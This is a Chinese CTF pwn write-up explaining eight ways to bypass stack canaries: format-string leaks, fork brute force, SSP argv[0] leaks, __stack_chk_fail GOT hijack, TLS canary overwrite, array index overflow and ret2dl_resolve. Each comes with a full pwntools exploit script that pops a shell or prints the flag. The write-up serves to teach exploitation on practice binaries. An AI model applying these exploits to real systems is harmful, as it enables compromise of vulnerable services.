PWN January 03, 2020

canary崩坏技巧

Words count 62k Reading time 56 mins. Read count 0

题目1:bin

方法介绍:leak canary

利用格式化字符串漏洞,泄露出canary的值,然后填到canary相应的位置从而绕过保护实现栈溢出。

开始分析:

常规操作,先checksec下,再ida静态分析

image.png
image.png
image.png
很明显有格式化字符串漏洞和栈溢出漏洞,但是开了栈溢出保护,程序有2个输入,第一次输入可以先泄露cananry,第二次直接覆盖canary就可以栈溢出了,简单明了,gdb动态调试,可以看到canary在格式化字符串的偏移为7,
image.png

在第二个次输入中,我们需要输入到canary进行覆盖工作,这是可以看ida:
image.png
image.png
image.png
可以知道0x70-0xC = 0x64=100,那么就是说要覆盖100个字符才到canary的位置,这样就可以栈溢出了,跳转到这里即可:
image.png
EXP的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin')
#标志位,0和1
if local:
p = process('./bin')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')

payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
print canary
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()

image.png

题目2:bin1

方法介绍:爆破canary

利用fork进程特征,canary的不变性,通过循环爆破canary的每一位

开始分析:

image.png
image.png
image.png
有栈溢出漏洞,但是开启了栈溢出保护,又因为是线程,联想到爆破法,这题的canary地址和上题一样,先覆盖100位,再填,我们知道程序的canary的最后一位是0,所以可以一个一个地跑。
image.png
因为canary有4位,最后一位是\x00,所以还要循环3次,每一次从256(ASCII码范围)中取,有合适的+1,没有继续循环,直到跑出来,这是32位的情况,64位的话爆破7位。
最后栈溢出绕过直接执行那个函数。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#标志位,0和1
if local:
p = process('./bin1')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
for i in range(256):
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
if "recv" in a:
canary += chr(i)
break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()

image.png

题目3:bin2(原题是OJ的smashes)

方法介绍:

ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值。

开始分析:

image.png
image.png
这里介绍故意触发_stack_chk_fail:
ssp攻击:argv[0]是指向第一个启动参数字符串的指针,只要我们能够输入足够长的字符串覆盖掉argv[0],我们就能让canary保护输出我们想要地址上的值,举个例子:
image.png
但是我们不知道flag的位置在哪里,有个小技巧就是字符直接填充flag的位置,只要足够大,就一定能行,但是看看ida:
image.png
发现被修改了值,所以是直接打印不出来的,这可怎么办才好,这里借助大佬的博客,说ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射。这道题就是这样。这个flag应该会被映射到多个地方,也就是有副本,只要找出副本地址即可,接下来去gdb里面找:找个地址下断点,寻找CTF字符串,看到0x400d20。
image.png
这下直接写进去覆盖就好啦:
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和1
if local:
p = process('./bin2')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
payload += p64(flag)*1000
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()

验收:
image.png

如果说老老实实做也是可以的,先看看那个argv[0]在栈中的位置:

image.png

然后看看我们的输入esp到它的距离:

image.png

计算下地址差值:0x218的偏移,所以直接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin2')
#标志位,0和1
if local:
p = process('./bin2')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
flag = 0x400d20
payload = ""
#payload += p64(flag)*1000
payload += 0x218*'a' + p64(flag)
p.recvuntil("Hello!\nWhat's your name?")
p.sendline(payload)
p.recv()
p.sendline(payload)
p.interactive()

验收:

image.png

题目4:bin3(原题是hgame的week2的Steins)

方法介绍:

劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表指针内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数。

开始分析:

image.png
image.png
栈溢出保护,堆栈不可执行,格式化字符串漏洞,这里一开始真的没有什么思路,后来师傅给了提示:
劫持stack_chk_fail函数,控制程序流程,也就是说刚开始未栈溢出时,我们先改写stack_chk_fail的got表内容为我们的后门函数地址,之后我们故意制造栈溢出调用stack_chk_fail时,实际就是执行我们的后门函数。
那么问题来了,怎么覆盖好呢?我的猜想是,想到覆盖低地址0x400xxx,我们往
stack_chk_fail的got表指针里写入xxx,由于_stack_chk_fail地址后有5个截断符,所以要顺利覆盖的话,%8$hn后面要有5个字符进行填充,调用时就会调用0x400xxx处的函数,后门函数地址0x40084E(ida可以看见),而0x84E = 2126,所以写入2126个双字节~,劫持后再栈溢出即可。
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')#64位和32位自行切换
local = 1
#标志位,0和1
if local:
p = process('./babyfmtt')
elf = ELF('./babyfmtt')
else:
p = remote('',)
elf = ELF('./')
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
libc = elf.libc
stack_fail = 0x601020

payload = ''
payload += "%2126c%8$hnbbbbb" + p64(stack_fail) + 'a'*200

#z('b*0x00000\nc')
p.sendline(payload)
p.interactive()

成功:
image.png
为了验证猜想的正确性,改下后门函数为0x40085F(会打印那个it ‘s easy to pwn),即0x85F = 2143。
image.png
猜想验证成功,正确!

题目5:bin4

babypie

开始分析:

image.png

image.png

栈溢出保护,堆栈不可执行,堆栈不可写,只有got可以改,看逻辑,先输入名字到buf,刚好0x30的大小,这里马上想到泄露canary,因为后面有个printf函数,第二次输入有栈溢出漏洞(前提是绕过了栈溢出保护了),看看有没有可以getshell的函数:

image.png

随机化地址0xA3E可以直接getshell,很好,就跳转到这里吧。

大体思路:

1、因为canary的低位是\x00截断符,先用\x01去覆盖这个低位,然后打印出来后面的7位,最后加上\x00即可

2、通过填充canary实现栈溢出,跳到那个0xA3E函数处,由于随机化的地址,所以第四位不知道怎么搞,这里直接爆破第四位即可

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
#arch也可以是i386~看文件
local = 1
elf = ELF('./babypie')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

while True:
if local:
p = process('./babypie')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
#第一次调用尝试调用
system_addr = '\x3E\x0A'
payload = ''
payload += 'a'*0x28 +'\x01'
p.send(payload)
p.recvuntil('\x01')
canary = '\x00' + p.recv()[:7]
print hex(u64(canary))
payload = ''
payload += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
p.send(payload)
try:
p.recv(timeout = 1)
except EOFError:
p.close()
continue
p.interactive()

爆破是常规操作,不爆破也是行的,如图:

image.png

因为在read后其实前面的字节是一样的,所以只需要覆盖最后一个字节为\x3E即可:

image.png

最后检验下:

image.png

总结:这里就是利用了read函数后面有printf或者puts函数可以打印,通过覆盖低位\x0a,达到泄露低地址的目的,学习到了新技能。

题目6:bin5

babystack

开始分析:

image.png

image.png

image.png

分析逻辑可知,是创建了进程,关键逻辑在start_routine函数那里,这里知道是s的大小是0x1010,而我们的输入可以达到0x10000,很明显想到栈溢出,但是有canary保护,而且是线程,所以我们这里学习一种新招式,TSL(线程局部存储)攻击,基本思路就是我们得覆盖很多个a到高地址,直到把TLS给覆盖从而修改了canary的值为a,绕过了canary后就可以栈溢出操作了。

TLS中存储的canary在fs:0x28处,我们能覆盖到这里就好啦~当然我们不知道具体在哪里,所以只能爆破下:

image.png

这是爆破canary位置的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while True:
p = process('./bs')
p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(main_addr)
payload += 'a'*(offset-len(payload))
p.send(payload)
temp = p.recvall()
if "Welcome" in temp:
p.close()
break
else:
offset += 1
p.close()

它会卡在offset为6128那里:

image.png

说明我们成功覆盖了canary,偏移量为6128。接下来就好办啦利用栈迁移的操作+one_gadget直接getshell

大体思路:

1、通过padding爆破填充a修改TLS中的canary为aaaaaaaa,从而绕过栈溢出保护(这里必须是线程的题目,而且输入足够大才行!)

2、泄露出puts的got地址得到真实的基地址,用于getshell

3、利用栈迁移(需要有read函数和leave;ret的ROP可以用),在bss段中开辟一个空间来写one_gadget来payload~

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')

p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]

p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(fakebuf)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(fakebuf)
payload += p64(0x0)
payload += p64(read_plt)
payload += p64(leave_ret)
payload += 'a'*(offset - len(payload))
p.send(payload)

p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc

payload = ''
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.send(payload)

p.interactive()

image.png这是我们的payload在栈中的分布图,可以知道puts的真实地址是6位的,所以才要补齐两个\0,最后验证下:

image.png

其实这里不用栈迁移也一样做的(栈迁移是大佬写的,下面是自己复现时做出来的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')

p = process('./bs')
elf = ELF('./bs')
libc = elf.libc
main_addr = 0x4009E7
fgets_addr = 0x400957
offset = 6128
bss_start = elf.bss()
fakebuf = bss_start + 0x300
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
leave_ret = 0x400955
puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
puts_libc = libc.symbols["puts"]
read_plt = elf.symbols["read"]

p.recvuntil("How many bytes do you want to send?")
p.sendline(str(offset))
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(fgets_addr)
payload += 'a'*(offset - len(payload))
p.send(payload)

p.recvuntil("It's time to say goodbye.\n")
puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
print hex(puts_addr)
getshell_libc = 0xf02a4
base_addr = puts_addr - puts_libc
one_gadget = base_addr + getshell_libc
payload = ''
payload += 'a'*0x1010
payload += p64(0xdeadbeef)
payload += p64(one_gadget)
p.sendline(payload)
p.interactive()

检验下:

image.png

总结:

针对于这种多线程的题目,修改TLS的canary,绕过canary,又增长了新姿势,这里提一下栈迁移,在有read函数的情况下,可以利用栈迁移的思想,到bss段是常有的事,一般是bss+0x300的位置开始写。如果read后面有puts函数或者printf函数,就可以泄露出ebp的值,从而确定栈顶指针,从而写到栈中,然后ebp写esp的地址,leave就会跳到esp去执行我们写入的东西。

题目7 bin6

一波检查和分析

image.png

image.png

image.png

image.png

image.png

开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:

C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的
数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行
的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代
码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以
为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越
界了,那么它会自动接着那块内存往后写。

漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~

再回来这题的栈,

image.png

这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./homework')
if local:
p = process('./homework')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7701)
libc = ELF('./libc.so.6')

def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

p.recvuntil("What's your name? ")
p.sendline("Your father")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()

题目8

这题是新春战疫情的一道题,涉及到tls的知识。

image-20200528164511275

image-20200528164750764

这里逻辑不复杂,一个栈溢出操作,但是呢,开了栈溢出保护,这里需要考察的就是一个知识点,canary不只存在stack中或者多线程时,在stack很远的位置处,canary还存在于0x7f开头的mmap地址处,所以我们需要做的就是先在栈溢出时部署好rop链子,然后在堆申请时,申请足够大,申请出canary并覆盖掉,这样就完事了~

这里直接使用dl_runtime_resolve的方法去做即可。

这里讲解下知识点:

对于这个canary的绕过,需要用到TLS,不过需要用到malloc(size),size需要很大,用mmap申请出堆。

canary 这个值是怎么来的呢,在linux 下,有一种线程局部存储(Thread Local Storage)机制,简称为TLS。它主要存储着一个线程的一些局部变量,它的结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct  
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

而gs寄存器就指向这个结构体,结构体里的stack_guard值就是canary 的值,所以只要能篡改结构体里stack_guard的值就可以绕过canary了。

这里记住查看canary位置的方法为:search -t dword (canary值) ,这个就是gs所在的位置

1
mov     eax, large gs:14h

image-20200528212625472

paylaod如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#-*-coding:utf-8-*-
from pwn import *
# from roputils import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./BFnote')
elf = ELF('./BFnote')


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

bss_stage1 = elf.bss() + 0x300
bss_stage2 = 80 + bss_stage1

ppp = 0x080489d9
pop_ebp = 0x080489db
leave_ret = 0x08048578
pay = 'a'*0x3a + p32(0x804A064)
# gdb.attach(p,"b *0x8048965")
sda("description :",pay)

buf = p32(elf.plt['read']) + p32(ppp)
buf += p32(0) + p32(bss_stage1) + p32(100)
buf += p32(pop_ebp) + p32(bss_stage1)
buf += p32(leave_ret)

sla("postscript :",buf)
sla("size :",str(0x20000))
sla("size :",str(0x216fc))
sla("re-enter :\n",str(4))

sda("title :",'a'*4)

sda("note :",'a'*4)
pause()

cmd = '/bin/sh'
plt_0 = 0x8048450
rel_plt = 0x80483d0 #elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = (bss_stage1+28) - rel_plt
read_got = elf.got['read']
dynsym = 0x80481d8 #objdump -s -j .dynsym bof
dynstr = 0x80482c8 #objdump -s -j .dynstr bof
fake_sym_addr = bss_stage1+36
align = 0x10 -((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym<<8) | 0x7
fack_reloc = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
st_name = (fake_sym_addr + 0x10) - dynstr #加0x10是因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'aaaa'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage2)
payload += 'aaaaaaaa'
payload += fack_reloc #(bss_stage1+28)的位置
payload += 'b'*align
payload += fake_sym #(bss_stage1+36)的位置
payload += "system\x00"
payload += 'a'*(80-len(payload))
payload += cmd + '\x00'
payload += 'a'*(100-len(payload))
sl(payload)

p.interactive()
0%